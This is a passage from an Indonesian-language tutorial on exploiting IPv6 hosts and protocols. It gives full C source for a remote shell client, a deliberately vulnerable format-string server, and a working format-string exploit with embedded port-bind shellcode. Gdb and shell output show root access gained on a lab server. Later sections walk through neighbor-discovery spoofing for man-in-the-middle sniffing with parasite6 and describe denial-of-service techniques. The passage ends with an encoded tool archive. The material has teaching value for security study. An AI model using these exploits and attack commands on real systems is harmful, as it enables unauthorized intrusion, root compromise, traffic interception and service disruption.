dari PCATTCK lakukan pengecekan shell di port 4444 PCSERV dengan menggunakan 'getshell6.c' yang bisa diperoleh dari ipv6-hackit/C/getshell6.c #include #include #include #include #include #include #include #include /* getshell6.c is provided by Ph03n1X This code is ripped and modified from Joonbok Lee Presentation about IPv6 Socket Programming */ int main(int argc, char *argv[]){ fd_set fd_read; char buff[2048]; int n, s, c, retval, addrlen; struct addrinfo Hints, *AddrInfo, *AI; if(argc!=3){ printf("Usage : %s \n", argv[0]); exit(0); } if(strstr(argv[1],":")==NULL){ printf("ERR : You dont enter valid IPv6 address!\n"); exit(0); } memset(&Hints,0,sizeof(Hints)); Hints.ai_family = AF_UNSPEC; Hints.ai_socktype = SOCK_STREAM; retval = getaddrinfo(argv[1],argv[2], &Hints, &AddrInfo); if(retval!=0){ printf("Cannot resolve requested address\n"); exit(0); } for(AI=AddrInfo;AI!=NULL;AI=AI->ai_next){ if(AI->ai_family==AF_INET6){ if((s=socket(AI->ai_family,AI->ai_socktype,AI->ai_protocol))<0){ printf("can't create socket\n"); exit(0); } c=connect(s,AI->ai_addr,AI->ai_addrlen); }else{ printf("%s is not IPv6 family\n",argv[1]); } freeaddrinfo(AddrInfo); } FD_ZERO(&fd_read); FD_SET(s, &fd_read); FD_SET(0, &fd_read); while(1) { FD_SET(s,&fd_read); FD_SET(0,&fd_read); if (select(FD_SETSIZE, &fd_read, NULL, NULL, NULL) < 0 ) break; if (FD_ISSET(s, &fd_read)) { if((n = recv(s, buff, sizeof(buff), 0)) < 0){ fprintf(stderr, "EOF\n"); exit(2); } if (write(1, buff, n) < 0) break; } if (FD_ISSET(0, &fd_read)) { if((n = read(0, buff, sizeof(buff))) < 0){ fprintf(stderr, "EOF\n"); exit(2); } if (send(s, buff, n, 0) < 0) break; } usleep(10); } fprintf(stderr, "Connection lost.\n\n"); exit(0); } attack~> gcc -o getshell6 getshell6.c attack~> ./getshell6 2010:5c0:1441:a0a:8891:afaf:7660:5401 4444 id uid=1001(anto) gid=1001(anto) groups=119(admin),1001(anto) pwd /home/anto/k-elektronik/code/exploit uname -a Linux inetgw-2 2.6.27-7-generic #1 SMP Fri Oct 24 06:42:44 UTC 2008 i686 GNU/Linux #OWNED Yeah! PCSERV berhasil dikuasai dengan memanfaatkan IPv6 based remote exploit dan shellcode bind execve. Tidak ada perbedaan yang mendasar untuk mengeksploitasi stack based buffer overflow di IPv6 dan di IPv4. Exploitasi hanya membutuhkan porting socket dan shellcode saja. --[7.2]-- Exploitasi Format String Exploitasi format string merupakan teknik exploitasi terhadap program yang salah dalam mengimplementasikan fungsi-fungsi format string. Teknik ini bisa digunakan untuk membuat crash aplikasi yang vulnerable atau bahkan untuk mengeksekusi semabarang kode layaknya buffer overflow. Beberapa fungsi format string adalah printf(), sprintf(), snprintf(), dan fprintf(). Penggunaan fungsi ini secara benar bisa dibaca pada file header stdio.h. Tulisan ini hendak membahas bagaimana melakukan exploitasi format string secara remote pada aplikasi yang berjalan di IPv6 tetapi dengan asumsi bahwa stack smashing protection dan randomized virtual address didisable. Selanjutnya untuk mengilustrasikan bagaimana proses exploitasi format string, saya menggunakan contoh program vulnerable berikut: /* fmtserv6.c */ #include #include #include #include #include #include #include #define PORT "55555" #define BUFFSZ 1024 #define READSZ 2048 int main(int argc, char *argv[]){ struct sockaddr_in6 from; struct addrinfo req, *ans; int code, s, s2, len, retval; char buff[1024]; memset(&req, 0, sizeof(req)); req.ai_flags = AI_PASSIVE; req.ai_family = AF_INET6; req.ai_socktype = SOCK_STREAM; req.ai_protocol = 0; retval = getaddrinfo(NULL,PORT,&req,&ans); if(retval!=0){ printf("ERROR!getaddrinfo\n"); exit(1); } s = socket(ans->ai_family, ans->ai_socktype, ans->ai_protocol); if(s<0){ printf("ERROR!socket\n"); exit(1); } if (bind(s, ans->ai_addr, ans->ai_addrlen) < 0){ printf("ERROR!bind\n"); exit(1); } listen(s,5); while(1){ s2,len = sizeof(from); s2 = accept(s, (struct sockaddr *) &from, &len); if(s2<0){ continue; } if(vulnerable(s2) == -1){ printf("Error: vulnerable()\n"); close(s2); } } freeaddrinfo(ans); exit(0); } int vulnerable(int sock) { char buffer[BUFFSZ], readbuf[READSZ]; memset(buffer, 0, BUFFSZ); memset(readbuf, 0, READSZ); read(sock, readbuf, READSZ, 0); snprintf(buffer, BUFFSZ-1, readbuf); // format string vulnerability here send(sock, buffer, BUFFSZ, 0); close(sock); } Kode di atas saya ambil dari tulisan di milw0rm [xvii] oleh Jeremy Brown kemudian saya porting supaya bekerja pada IPv6. Coba perhatikan fungsi snprintf() pada fungsi vulnerable(), mengacu pada file stdio.h fungsi snprintf() adalah: extern int snprintf (char *__restrict __s, size_t __maxlen, __const char *__restrict __format, ...) __THROW __attribute__ ((__format__ (__printf__, 3, 4))); Argumen ke-3 dari fungsi snprintf() didefinisikan sebagai const char tetapi pada fungsi vulnerable() argumen ke-3 fungsi snprintf() adalah variable readbuff. Celakanya variable readbuff bisa dikontrol oleh user sehingga jika dieksploitasi memungkinkan untuk mengeksekusi sembarang kode. Kompile kode diatas sebagai berikut: pcserv~> gcc -fno-stack-protector -o fmtserv6 fmtserv6.c Program 'fmtserv6' saya jalankan pada PCSERV yang memiliki alamat IPv6 2010:5c0:1441:a0a:8891:afaf:7660:5401/64. Sedangkan proses exploitasi dari alamat IPv6 2010:5c0:1441:a0a:8891:afaf:7660:5402/64 yang selanjutnya saya sebut dengan PCATTCK. Untuk mengeksploitasi format string secara remote temukan Global Offset Table (GOT) address untuk fungsi snprintf() pada program fmtserv6 yang vulnerable. PCSERV pcserv~> objdump -R fmtserv6 fmtserv6: file format elf32-i386 DYNAMIC RELOCATION RECORDS OFFSET TYPE VALUE 08049ff0 R_386_GLOB_DAT __gmon_start__ 0804a000 R_386_JUMP_SLOT __gmon_start__ 0804a004 R_386_JUMP_SLOT listen 0804a008 R_386_JUMP_SLOT memset 0804a00c R_386_JUMP_SLOT __libc_start_main 0804a010 R_386_JUMP_SLOT read 0804a014 R_386_JUMP_SLOT accept 0804a018 R_386_JUMP_SLOT socket 0804a01c R_386_JUMP_SLOT getaddrinfo 0804a020 R_386_JUMP_SLOT bind 0804a024 R_386_JUMP_SLOT close 0804a028 R_386_JUMP_SLOT send 0804a02c R_386_JUMP_SLOT puts 0804a030 R_386_JUMP_SLOT snprintf 0804a034 R_386_JUMP_SLOT exit pcserv~> ifconfig eth0|grep inet6 inet6 addr: fe80::201:6cff:fe9e:e6ab/64 Scope:Link inet6 addr: 2010:5c0:1441:a0a:8891:afaf:7660:5401/64 Scope:Global pcserv~> gdb -q ./fmtserv6 (gdb) r Starting program: /home/anto/k-elektronik/code/test/fmtserv6 GOT address untuk fungsi snprintf() adalah 0x0804a030. Selanjutnya dengan bantuan 'gdb' saya menjalankan 'fmtserv6' dan melakukan debugging. Sebelum melakukan exploitasi lebih jauh, saya melakukan guessing untuk menentukan offset program tersebut dari PCATTCK. PCATTCK attack~> ifconfig eth0|grep inet6 inet6 addr: fe80::200:1cff:fedc:fb66/64 Scope:Link inet6 addr: 2010:5c0:1441:a0a:8891:afaf:7660:5402/64 Scope:Global attack~> nc6 2010:5c0:1441:a0a:8891:afaf:7660:5401 55555 AAAA%p%p%p%p%p%p%p%p%p%p AAAA(nil)(nil)(nil)0x414141410x702570250x702570250x702570250x702570250x702570250xa attack~> nc6 2010:5c0:1441:a0a:8891:afaf:7660:5401 55555 AAAA%4$x AAAA41414141 Dari percobaan guessing saya memperoleh offset fmtserv6 adalah 4. Saya menggunakan shellcode binding port yang digunakan pada exploitasi stack based buffer overflow untuk mengambil alih kontrol program 'fmtserv6' dan mengeksekusi '/bin/sh'. Semua sudah disiapkan, tetapi kita belum tahu alamat register ESP yang bisa dieksploitasi agar shellcode di eksekusi oleh register EIP. Untuk itu saya menggunakan dummy exploit pada referensi [xvii] dan diporting agar bekerja pada IPv6 sebagai berikut: #include #include #include #include #define GOTADDR 0x0804a030 //snprintf() --> objdump -R fmtserv #define RETADDR 0x41414141 // return address to hit nop slide + shellcode #define OFFSET 4 #define SIZE 1024 char shellcode[] = /*Portbind @ 4444*/ "\x33\xc9\xb1\x17\xdb\xdf\xd9\x74\x24\xf4\xbb\xeb\xfe\xc9" "\xcd\x5a\x31\x5a\x16\x03\x5a\x16\x83\xc2\x04\xe2\x1e\xcf" "\x12\x9e\xa3\x63\xcf\x2b\xaa\x65\x65\x4a\xf4\xa8\xfa\x04" "\x9d\x61\xa9\x7a\xcf\xd7\x1f\x1d\x87\xc6\xc3\x87\x3f\xe3" "\xfb\xce\x5e\x99\xe7\x81\xf6\xd7\xf9\x61\x9c\x81\xa1\xa8" "\xe0\xfe\x34\x80\xe4\x33\x38\xb4\xb6\x9d\xb0\xd8\x75\x92" "\xa5\xd7\xf9\x41\x70\x82\xc6\x3d\x4e\xd2\x71\xc7\xa8\xbb" "\xae\x18\x3a\x54\xd8\x49\xde\xcd\x76\x1f\xfd\x5e\xd5\x96" "\xe3\xef\xd2\x65\x63\x05"; int main(int argc, char *argv[]) { if(argc < 3) { printf("Usage: %s host port\n", argv[0]); return 0; } char buffer[SIZE], *host = argv[1], *got[3] = {((char *)GOTADDR + 2),((char *)GOTADDR),}; int i, high, low, len; int n, s, c, retval, addrlen; struct addrinfo Hints, *AddrInfo, *AI; high = (RETADDR & 0xffff0000) >> 16; low = (RETADDR & 0x0000ffff); high -= 0x8; sprintf(buffer, "%s%%.%dx%%%d$hn%%.%dx%%%d$hn", &got, high, OFFSET,(low - high) - 0x8, OFFSET + 1); memset(buffer + strlen(buffer), '\x90', 512); sprintf(buffer + strlen(buffer), "%s\r\n", shellcode); len = strlen(buffer); memset(&Hints,0,sizeof(Hints)); Hints.ai_family = AF_UNSPEC; Hints.ai_socktype = SOCK_STREAM; retval = getaddrinfo(argv[1],argv[2], &Hints, &AddrInfo); if(retval!=0){ printf("Cannot resolve requested address\n"); exit(0); } for(AI=AddrInfo;AI!=NULL;AI=AI->ai_next){ if((s=socket(AI->ai_family,AI->ai_socktype,AI->ai_protocol))<0){ printf("can't create socket\n"); exit(0); } connect(s,AI->ai_addr,AI->ai_addrlen); send(s,buffer,len,0); } for(AI=AddrInfo;AI!=NULL;AI=AI->ai_next){ if((s=socket(AI->ai_family,AI->ai_socktype,AI->ai_protocol))<0){ printf("can't create socket\n"); exit(0); } connect(s,AI->ai_addr,AI->ai_addrlen); send(s,buffer,len,0); } freeaddrinfo(AddrInfo); return 0; } PCATTCK attack~> gcc -o fmtex6 fmtex6.c attack~> ./fmtex6 2010:5c0:1441:a0a:8891:afaf:7660:5401 55555 PCSERV Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () (gdb) i r eax 0xbfffef68 -1073746072 ecx 0xbfffe768 -1073748120 edx 0x800 2048 ebx 0xb7fccff4 -1208168460 esp 0xbfffe74c 0xbfffe74c ebp 0xbffff368 0xbffff368 esi 0x8048850 134514768 edi 0x8048550 134514000 eip 0x41414141 0x41414141 eflags 0x10207 [ CF PF IF RF ] cs 0x73 115 ss 0x7b 123 ds 0x7b 123 es 0x7b 123 fs 0x0 0 gs 0x33 51 (gdb) x/100x $esp 0xbfffe74c: 0x080487ff 0xbfffef68 0x000003ff 0xbfffe768 0xbfffe75c: 0x00000000 0x00000000 0x00000000 0x0804a032 0xbfffe76c: 0x0804a030 0x39342e25 0x78333431 0x68243425 0xbfffe77c: 0x312e256e 0x33313430 0x24352578 0x90906e68 0xbfffe78c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe79c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe7ac: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe7bc: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe7cc: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe7dc: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe7ec: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe7fc: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe80c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe81c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe82c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe83c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe84c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe85c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe86c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe87c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe88c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe89c: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe8ac: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe8bc: 0x90909090 0x90909090 0x90909090 0x90909090 0xbfffe8cc: 0x90909090 0x90909090 0x90909090 0x90909090 (gdb) Dengan menggunakan dummy exploit di atas bisa kita lihat bahwa register EIP teroverwrite oleh '\x41\x41\x41\x41'. Alamat register ESP yang bisa dieksploitasi adalah alamat yang berisi NOP misalnya adalah 0xbfffe8cc. Alamat ini kemudian digunakan untuk menggantikan RETADDR pada dummy exploit sehingga menjadi. #define RETADDR 0xbfffe8cc Kirim ulang dummy exploit tersebut dari PCATTCK ke PCSERV. PCSERV (gdb) r The program being debugged has been started already. Start it from the beginning? (y or n) y Starting program: /home/anto/k-elektronik/code/test/fmtserv6 PCATTCK attack~> gcc -o fmtex6 fmtex6.c attack~> ./fmtex6 2010:5c0:1441:a0a:8891:afaf:7660:5401 55555 attack~> gcc -o getshell6 getshell6.c attack~> ./getshell6 2010:5c0:1441:a0a:8891:afaf:7660:5401 4444 id uid=0(root) gid=0(root) groups=0(root) pwd /home/anto/k-elektronik/code/test /sbin/ifconfig eth0|grep inet6 inet6 addr: fe80::201:6cff:fe9e:e6ab/64 Scope:Link inet6 addr: 2010:5c0:1441:a0a:8891:afaf:7660:5401/64 Scope:Global Yeah! PCSERV berhasil dikuasai dengan memanfaatkan IPv6 based remote exploit dan shellcode bind execve. Tidak ada perbedaan yang mendasar untuk mengeksploitasi celah keamanan format string di IPv6 dan di IPv4. Exploitasi hanya membutuhkan porting socket dan shellcode saja. Sebagai catatan, pembuatan exploit dengan cara sederhana ini sering menghasilkan exploit yang tidak reliable dan mengakibatkan crash pada aplikasi yang dieksploitasi. Tetapi sebagai bahan belajar bagaimana sebuah aplikasi diexploitasi, cara sederhana inilah yang menurut saya paling mudah dipahami. --[8]-- IPv6 Protocol Vulnerability Protokol secara harfiah bisa diartikan sebagai aturan sedangkan pada komunikasi data protokol diartikan sebagai sekumpulan aturan standar yang digunakan agar proses komunikasi interoperable pada sistem yang bersifat heterogen. Pada IPv4 telah ditemukan berbagai celah keamanan pada implementasi protokol tersebut misalnya celah keamanan pada ARP yang bisa digunakan untuk Man In The Middle dan celah keamanan pada implementasi TCP yang memungkinkan TCP Session Hijacking. IPv6 dikembangkan dengan memperhatikan beragam aspek keamanan tetapi masih memungkinkan untuk diexploitasi. Exploitasi pada protokol ini digambarkan secara jelas oleh Van Hauser pada presentasinya yang bisa didownload dari website THC [xv]. Celah keamanan yang dibahas pada protokol IPv6 yang ada diartikel ini mengacu seluruhnya pada presentasi tersebut dengan ditambahi penjelasan yang lebih detail. Tools yang digunakan juga bisa didownload dari website THC yaitu thc-ipv6 yang release terakhirnya adalah versi 0.7. --[8.1]-- Man In The Middle Man In The Middle atau yang biasa dikenal dengan MITM, merupakan sebuah serangan pada tahap gaining access dengan memposisikan seorang attacker ditengah-tengah komunikasi data antar dua pihak. Jenis serangan ini berguna untuk melakukan serangan lebiih lanjut. Pada IPv4, serangan MITM ini bisa dilakukan dengan berbagai cara antara lain ARP cache poisoning dan DHCP spoofing. Pada IPv6 tidak dikenal ARP tetapi digantikan oleh ICMPv6 neighbor discovery sedangkan DHCP pada IPv6 digantikan oleh ICMPv6 Stateless Auto-Configuration. --[8.1.1]-- ICMPv6 Neighbor Discovery/Solicitation ICMPv6 berperan dalam pencarian MAC address sebuah alamat IPv6 dijaringan layaknya ARP. ----------........NS : Are you B?>>........---------- | Node A |---------------------------------| Node B | ---------- ........<>........---------- | Node A |---------------------------------| Node B | ---------- ........<>.....---------- | Node A |---------------------------------| Router | ----------.......<>......---------- | Node A |---------------------------------| Router | ---------- ......<>>.........| Node B |--|| ....|.....dst = ff02::1.................----------..|| ICMPv6 Echo Reply ....|.....src = victim..................----------..|| ....|...................................| Node C |-||| ....|...................................----------.||| ....| ...||| ....| ...vvv ----------......................................---------- |Attacker|......................................| Victim | ----------......................................---------- Pengimplementasian smurfing attack pada jaringan IPv6 global di internet tergantung pada pengimplementasian header routing. So far, teknik ini pernah diimplementasikan pada exploitasi linux kernel versi lama yang saat ini sudah diperbaiki. Teknik ini digunakan pada 'thc-ipv6/rsmurf6'. --[8.2.2]-- Denial of Service via Duplicate Address Detection Duplicate Address Detection (DAD) merupakan sebuah mekanisme untuk melakukan pengecekan apakah sebuah alamat IPv6 sudah digunakan di dalam jaringan. DAD menggunakan ICMP tipe 135 (NS) untuk melakukan pengecekan. Sebuah sistem baru (Node A) yang ingin bergabung ke jaringan IPv6 mengirimkan ICMP tipe 135 ke alamat multicast semua node (ff02::1) menanyakan apakah ada yang memiliki alamat IPv6 yang hendak dia pakai. Jika tidak ada yang merespon maka alamat IPv6 tersebut segera digunakan tetapi jika ada yang merespon maka dia mencoba menggunakan IPv6 yang lain dan melakukan pengecekan DAD lagi. Permasalahannya adalah, jika sistem baru tersebut setiap mengirimkan ICMP tipe 135 selalu ada yang merespon maka dia tidak akan pernah terkoneksi ke jaringan IPv6. .......................NS : Are you B? .......................-------------->>------------| ....................NS : Are you A?................v ----------..........-------------->>............---------- | Node A |......................................|Attacker| ----------..........<<--------------............---------- ....^...............Yes i am A.....................| ....|...........<<--------------- ................Yes i am B Setiap kali ICMP tipe 135 (NS) dikirim ke semua node, attacker selalu merespon paket tersebut sehingga Node A tidak pernah mendapatkan alamat IPv6. Teknik ini digunakan pada 'thc-ipv6/dos-new-ipv6'. --[8.3]-- Other Attack Empat macam serangan pada implementasi IPv6 di atas adalah beberapa contoh exploitasi memanfaatkan kelemahan pada protokol. Jenis serangan lain : - IPv6 Fragmentation attack, proses fragmentasi paket data dilakukan oleh source dan disusun ulang ketika sampai tujuan. Teknik fragmentasi pada IPv4 bisa digunakan untuk fragmentasi pada IPv6. - Mobile IPv6 mengizinkan node node untuk berpindah jaringan namun menjaga koneksi TCP/UDP tetap tersambung. Implementasi protokol sudah aman karena IPSEC aktif. Tetapi semua implementasi mobile IPv6 mengizinkan untuk mendisable IPSEC. Jika IPSEC non-aktif, maka dengan menggunakan 'thc-ipv6/fake_mipv6' kita bisa mengalihkan traffic mobile IPv6 ke sembarang alamat tujuan. - ICMP TCP attack masih bekerja sehingga memungkinkan kita untuk memutuskan TCP session. Misalnya untuk mengeksploitasi kerja BGP kita bisa memanfaatkan ICMPv6 error message. Saya sangat menyarankan kepada anda untuk membaca presentasi Van Hauser agar melengkapi referensi exploitasi protokol IPv6 yang sudah tertulis pada artikel ini. --[8.5]-- Attacking IPv6 Protocol Vulnerability in Practice Penjelasan IPv6 protocol vulnerability di atas dimaksudkan agar para pembaca mengerti benar konsep kelemahan protocol ini. Untuk memberikan ilustrasi lebih lengkap, saya tambahkan pada artikel ini bagaimana melakukan man in the middle dengan teknik pada 8.1.1. Tools yang saya gunakan adalah 'parasite6' yang terbendle dalam thc-ipv6 versi 0.7. [Node A]----------------[switch]------------------[Node B] ...........................| ...........................| ...........................| ...........................| .......................[Attacker] Pada skenario di atas, masing masing komputer memiliki alamat IPv6 sebagai berikut: Node A : ifconfig eth0 |grep inet6 inet6 addr: fe80::200:1cff:fedc:fb66/64 Scope:Link inet6 addr: 2010:5c0:1441:a0a:8891:afaf:7660:5402/64 Scope:Global Node B : ifconfig eth0 |grep inet6 inet6 addr: fe80::213:74ff:fe00:5c38/64 Scope:Link inet6 addr: 2010:5c0:1441:a0a:8891:afaf:7660:5403/64 Scope:Global Attacker : ifconfig eth0|grep inet6 inet6 addr: fe80::201:6cff:fe9e:e6ab/64 Scope:Link inet6 addr: 2010:5c0:1441:a0a:8891:afaf:7660:5401/64 Scope:Global Attacker melakukan percobaan sniffing pada komunikasi antara Node A dan Node B. Untuk menyederhanakan pembahasan, saya melakukan sniffing ICMPv6 Echo Request dari Node A ke Node B. Percobaan sniffing dilakukan menggunakan tcpdump. --[8.5.1]-- Sniffing Tanpa Man In The Middle Attacker menjalankan tcpdump pada mesinnya dengan perintah linux sebagai berikut: tcpdump -nnev icmp6 and src host 2010:05c0:1441:0a0a:8891:afaf:7660:5402 Attacker menunggu adanya paket yang melalui kartu jaringannya, Node A mengirim ICMPv6 Echo Request menggunakan ping6. nodeA~> ping6 2010:5c0:1441:a0a:8891:afaf:7660:5403 PING 2010:5c0:1441:a0a:8891:afaf:7660:5403 (2010:5c0:1441:a0a:8891:afaf:7660:5403) 56 data bytes 64 bytes from 2010:5c0:1441:a0a:8891:afaf:7660:5403: icmp_seq=1 ttl=64 time=3.76 ms 64 bytes from 2010:5c0:1441:a0a:8891:afaf:7660:5403: icmp_seq=2 ttl=64 time=0.112 ms 64 bytes from 2010:5c0:1441:a0a:8891:afaf:7660:5403: icmp_seq=3 ttl=64 time=0.109 ms 64 bytes from 2010:5c0:1441:a0a:8891:afaf:7660:5403: icmp_seq=4 ttl=64 time=0.113 ms ^C --- 2010:5c0:1441:a0a:8891:afaf:7660:5403 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3006ms rtt min/avg/max/mdev = 0.109/1.023/3.760/1.580 ms Ketika Node A mengirim ICMPv6 Echo Request, maka tcpdump attacker menerima paket sebagai berikut: tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 96 bytes 08:12:21.284158 00:00:1c:dc:fb:66 > 33:33:ff:60:54:03, ethertype IPv6 (0x86dd), length 86: (hlim 255, next-header ICMPv6 (58) payload length: 32) 2010:5c0:1441:a0a:8891:afaf:7660:5402 > ff02::1:ff60:5403: [icmp6 sum ok] ICMP6, neighbor solicitation, length 32, who has 2010:5c0:1441:a0a:8891:afaf:7660:5403 source link-address option (1), length 8 (1): 00:00:1c:dc:fb:66 Attacker menerima paket ICMP Neighbor Solicitation (ICMP tipe 135 / NS) yang dikirim ke alamat IPv6 multicast ff02::1ff60:5403: dan menanyakan "Siapa pemilik IPv6 2010:5c0:1441:a0a:8891:afaf:7660:5403". Karena itu bukan alamat IPv6 milik attacker, maka ICMP NS itu diabaikan. Paket ICMPv6 Echo Request dari Node A tidak di deteksi oleh tcpdump karena paket dari Node A langsung menuju Node B tanpa melalui kartu jaringan attacker. --[8.5.1]-- Sniffing Dengan Man In The Middle Hal pertama yang harus dilakukan adalah mengaktifkan IPv6 Forwarding. Kemudian attacker menjalankan parasite6 dan tcpdump pada mesinnya dengan perintah linux sebagai berikut: sysctl -w net.ipv6.conf.all.forwarding=1 parasite6 eth0 kemudian attacker membuka shell linux lain dan mengetikkan: tcpdump -nnev icmp6 and src host 2010:05c0:1441:0a0a:8891:afaf:7660:5402 Attacker menunggu adanya paket yang melalui kartu jaringannya, Node A mengirim ICMPv6 Echo Request menggunakan ping6. nodeA~> ping6 2010:5c0:1441:a0a:8891:afaf:7660:5403 PING 2010:5c0:1441:a0a:8891:afaf:7660:5403 (2010:5c0:1441:a0a:8891:afaf:7660:5403) 56 data bytes 64 bytes from 2010:5c0:1441:a0a:8891:afaf:7660:5403: icmp_seq=1 ttl=64 time=2.64 ms 64 bytes from 2010:5c0:1441:a0a:8891:afaf:7660:5403: icmp_seq=2 ttl=64 time=6.68 ms 64 bytes from 2010:5c0:1441:a0a:8891:afaf:7660:5403: icmp_seq=3 ttl=64 time=0.221 ms 64 bytes from 2010:5c0:1441:a0a:8891:afaf:7660:5403: icmp_seq=4 ttl=64 time=0.224 ms ^C --- 2010:5c0:1441:a0a:8891:afaf:7660:5403 ping statistics --- 4 packets transmitted, 4 received, 0% packet loss, time 3010ms rtt min/avg/max/mdev = 0.221/2.445/6.688/2.642 ms Ketika Node A mengirim ICMPv6 Echo Request, maka parasite6 attacker menampilkan pesan berikut: Remember to enable routing (ip_forwarding), you will denial service otherwise! Started ICMP6 Neighbor Solitication Interceptor (Press Control-C to end) ... Spoofed packet to 2010:05c0:1441:0a0a:8891:afaf:7660:5402 as 2010:05c0:1441:0a0a:8891:afaf:7660:5403 Spoofed packet to fe80:0000:0000:0000:0201:6cff:fe9e:e6ab as 2010:05c0:1441:0a0a:8891:afaf:7660:5402 Spoofed packet to fe80:0000:0000:0000:0201:6cff:fe9e:e6ab as 2010:05c0:1441:0a0a:8891:afaf:7660:5403 Spoofed packet to fe80:0000:0000:0000:0213:74ff:fe00:5c38 as fe80:0000:0000:0000:0201:6cff:fe9e:e6ab Spoofed packet to fe80:0000:0000:0000:0200:1cff:fedc:fb66 as fe80:0000:0000:0000:0201:6cff:fe9e:e6ab Spoofed packet to fe80:0000:0000:0000:0201:6cff:fe9e:e6ab as fe80:0000:0000:0000:0213:74ff:fe00:5c38 Spoofed packet to fe80:0000:0000:0000:0201:6cff:fe9e:e6ab as fe80:0000:0000:0000:0200:1cff:fedc:fb6 Sedangkan tcpdump mengcapture berbagai paket yang potongan capture tersebut adalah sebagai berikut: 08:27:07.259095 00:00:1c:dc:fb:66 > 33:33:ff:60:54:03, ethertype IPv6 (0x86dd), length 86: (hlim 255, next-header ICMPv6 (58) payload length: 32) 2010:5c0:1441:a0a:8891:afaf:7660:5402 > ff02::1:ff60:5403: [icmp6 sum ok] ICMP6, neighbor solicitation, length 32, who has 2010:5c0:1441:a0a:8891:afaf:7660:5403 source link-address option (1), length 8 (1): 00:00:1c:dc:fb:66 08:27:09.270171 00:01:6c:9e:e6:ab > 00:01:6c:9e:e6:ab, ethertype IPv6 (0x86dd), length 86: (hlim 255, next-header ICMPv6 (58) payload length: 32) 2010:5c0:1441:a0a:8891:afaf:7660:5402 > fe80::201:6cff:fe9e:e6ab: [icmp6 sum ok] ICMP6, neighbor advertisement, length 32, tgt is 2010:5c0:1441:a0a:8891:afaf:7660:5402, Flags [solicited, override] destination link-address option (2), length 8 (1):00:01:6c:9e:e6:ab 08:27:10.266998 00:00:1c:dc:fb:66 > 00:01:6c:9e:e6:ab, ethertype IPv6 (0x86dd), length 118: (hlim 64, next-header ICMPv6 (58) payload length: 64) 2010:5c0:1441:a0a:8891:afaf:7660:5402 > 2010:5c0:1441:a0a:8891:afaf:7660:5403: ICMP6, echo request, length 64, seq 4 08:27:10.267025 00:01:6c:9e:e6:ab > 00:13:74:00:5c:38, ethertype IPv6 (0x86dd), length 118: (hlim 63, next-header ICMPv6 (58) payload length: 64) 2010:5c0:1441:a0a:8891:afaf:7660:5402 > 2010:5c0:1441:a0a:8891:afaf:7660:5403: ICMP6, echo request, length 64, seq 4 Attacker menerima paket ICMP Neighbor Solicitation (ICMP tipe 135 / NS) yang dikirim ke alamat IPv6 multicast ff02::1ff60:5403: dan menanyakan "Siapa pemilik IPv6 2010:5c0:1441:a0a:8891:afaf:7660:5403". Parasite6 menjawab bahwa dialah pemilik alamat IPv6 tersebut menggunakan ICMPv6 Neighbor Advertisement (ICMP tipe 136 / NA ). Node A mengkonfirmasi ICMP Neighbor Advertisement ini. Pada baris selanjutnya terlihat paket ICMPv6 Echo Request dari 2010:5c0:1441:a0a:8891:afaf:7660:5402 (Node A) menuju 2010:5c0:1441:a0a:8891:afaf:7660:5403 (Node B). ICMPv6 dari Node A melalui kartu jaringan attacker terlebih dahulu untuk selanjutnya diteruskan ke Node B. Man in the middle pada IPv6 telah berhasil, paket data bisa di-sniff. --[9]-- Close Word A computer lets you make more mistakes faster than any invention in human history. How come that future internet is exploitable today? Let us not look forward in fear but arround in awareness! Finally, i wish this article is nearly complete in explaining how to exploit IPv6 today. --[10]-- Reference [i] http://en.wikipedia.org/wiki/IPv6 [ii] http://www.ietf.org/rfc/rfc2460.txt [iii] http://www.ietf.org/rfc/rfc3513.txt [iv] http://technet.microsoft.com/en-us/library/bb726997.aspx#ECAA [v] http://en.wikipedia.org/wiki/List_of_IPv6_tunnel_brokers [vi] http://www.ietf.org/rfc/rfc793.txt [vii] http://www.ietf.org/rfc/rfc3493.txt [viii] Joonbok Lee, KAIST, 2004.10.6, IPv6 Socket Programming [ix] http://search.cpan.org/~shlomif/IO-Socket-INET6-2.57/lib/IO/Socket/INET6.pm [x] http://www.packetlevel.ch/html/scapy/scapyipv6.html [xi] http://www.secdev.org/projects/scapy/build_your_own_tools.html [xii] http://www.phrack.com/issues.html?issue=49&id=14#article [xiii] http://milw0rm.com/papers/94 [xiv] http://x82.inetcop.org/h0me/papers/FC_exploit/FC_exploit.txt [xv] http://freeworld.thc.org/papers/vh_thc-ipv6_attack.pdf [xvi] http://www.slideshare.net/mbynum/ipv6-fundamentals-presentation [xvii] http://www.milw0rm.com/papers/258 --[11]-- Source Code begin 644 ipv6-hackit.tar.gz M'XL(`$Y[=DL``^P\_5O;.-+]]?Q73$UID]9);.<+0L-[;`F[O$L+#]"[]SG@ MX1Q;(5X2.VL[$&[;^]O?&7TX=CZ`;BF]W4.[-+8T,QI)HYG12)8_NFJ4^HY[ MZ2>59]\HF9B:]3K]6LVZE?U5Z9EE5:OU6I/^?V9:5M-L/H/ZMV(HF\9QXD0` MSYP@"6^#NZO\#YK\S/A[;!B6V&0T"!]6&+YH_&W,MVI5L_8T_H^1EHY_;YBP M2<,M)Y/D:^N@`6[4:LO&OV;7FNGX6PT;Q[]1J]K/P'R(!MZ5_LO'?\4/W,'8 M8_`V3CP_+/./A"$J'@$(7L^@J13_L*/2: 